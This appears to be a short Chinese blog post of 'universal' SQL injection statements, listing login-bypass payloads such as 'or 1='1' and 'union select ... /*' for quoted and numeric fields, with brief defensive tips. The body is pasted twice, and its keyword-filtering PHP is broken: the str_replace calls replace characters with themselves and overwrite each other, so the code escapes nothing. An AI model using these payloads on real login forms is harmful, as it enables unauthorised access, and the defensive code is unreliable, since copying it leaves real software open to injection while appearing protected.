sql万能注入语句
2013-01-23 00:00
981 查看
1.针对有单引号的情况 :
万能密码 : select * from users where username='xxxx' and password='xxxxxx' or 1='1';
万能用户名 : select * from users where username='xxxx' union select * from users/* and password='xxxxx';
防止第一种万能密码 : 设置 php.ini 中的 magic_quotes_gpc = On ;
2.没有单引号的情况 :
万能密码 : select * from users where username=数字 and password=数字 union select * from users;
万能用户名 : select * from users where username= 数字 union select * from users/* and password=数字;
3.搜索SQL注入的情况 :
防止查询SQL的攻击,对关键字进行过滤 :
//当php.ini中magic_quotes_gpc开启时,不要使用addslashes,否则会造成双重转义
$keyword = addslashes($keywords)
$keyword = str_replace("%","%",$keywords);
$keyword = str_replace("_","_",$keywords);
$sql= "select * from users where username like '%$keyword%'";
万能密码 : select * from users where username='xxxx' and password='xxxxxx' or 1='1';
万能用户名 : select * from users where username='xxxx' union select * from users/* and password='xxxxx';
防止第一种万能密码 : 设置 php.ini 中的 magic_quotes_gpc = On ;
2.没有单引号的情况 :
万能密码 : select * from users where username=数字 and password=数字 union select * from users;
万能用户名 : select * from users where username= 数字 union select * from users/* and password=数字;
3.搜索SQL注入的情况 :
防止查询SQL的攻击,对关键字进行过滤 :
//当php.ini中magic_quotes_gpc开启时,不要使用addslashes,否则会造成双重转义
$keyword = addslashes($keywords)
$keyword = str_replace("%","%",$keywords);
$keyword = str_replace("_","_",$keywords);
$sql= "select * from users where username like '%$keyword%'";
相关文章推荐
- 万能写入sql语句,并且防注入
- 手工MSSQL注入常用SQL语句
- 利用sql语句调用bat(批处理)+ftp实现文件远程拷贝和注入
- JDBC防注入sql语句书写
- 万能SQL语句?
- SQL 注入有常用语句
- 简单高效防注入攻击的动态多参数、动态SQL语句拼接方法,提高网站的安全性
- Sql语句防止注入方法
- 解决并清除SQL被注入恶意病毒代码的语句
- 用Python简单处理SQL语句绕过防注入
- Phpcms中万能标签{pc:get }sql语句用法
- 解决并清除SQL被注入<script>恶意病毒代码的语句
- SQL语句注入的全过程
- SQL 注入有常用语句
- PHP防止sql语句注入终极解决方案
- SQL手工注入语句
- 解决并清除SQL被注入<script>恶意病毒代码的语句
- asp防止sql 语句注入的代码
- 手工代码sql语句注入
- 如何通过注入SQL语句获取网站管理权限及安全措施(转)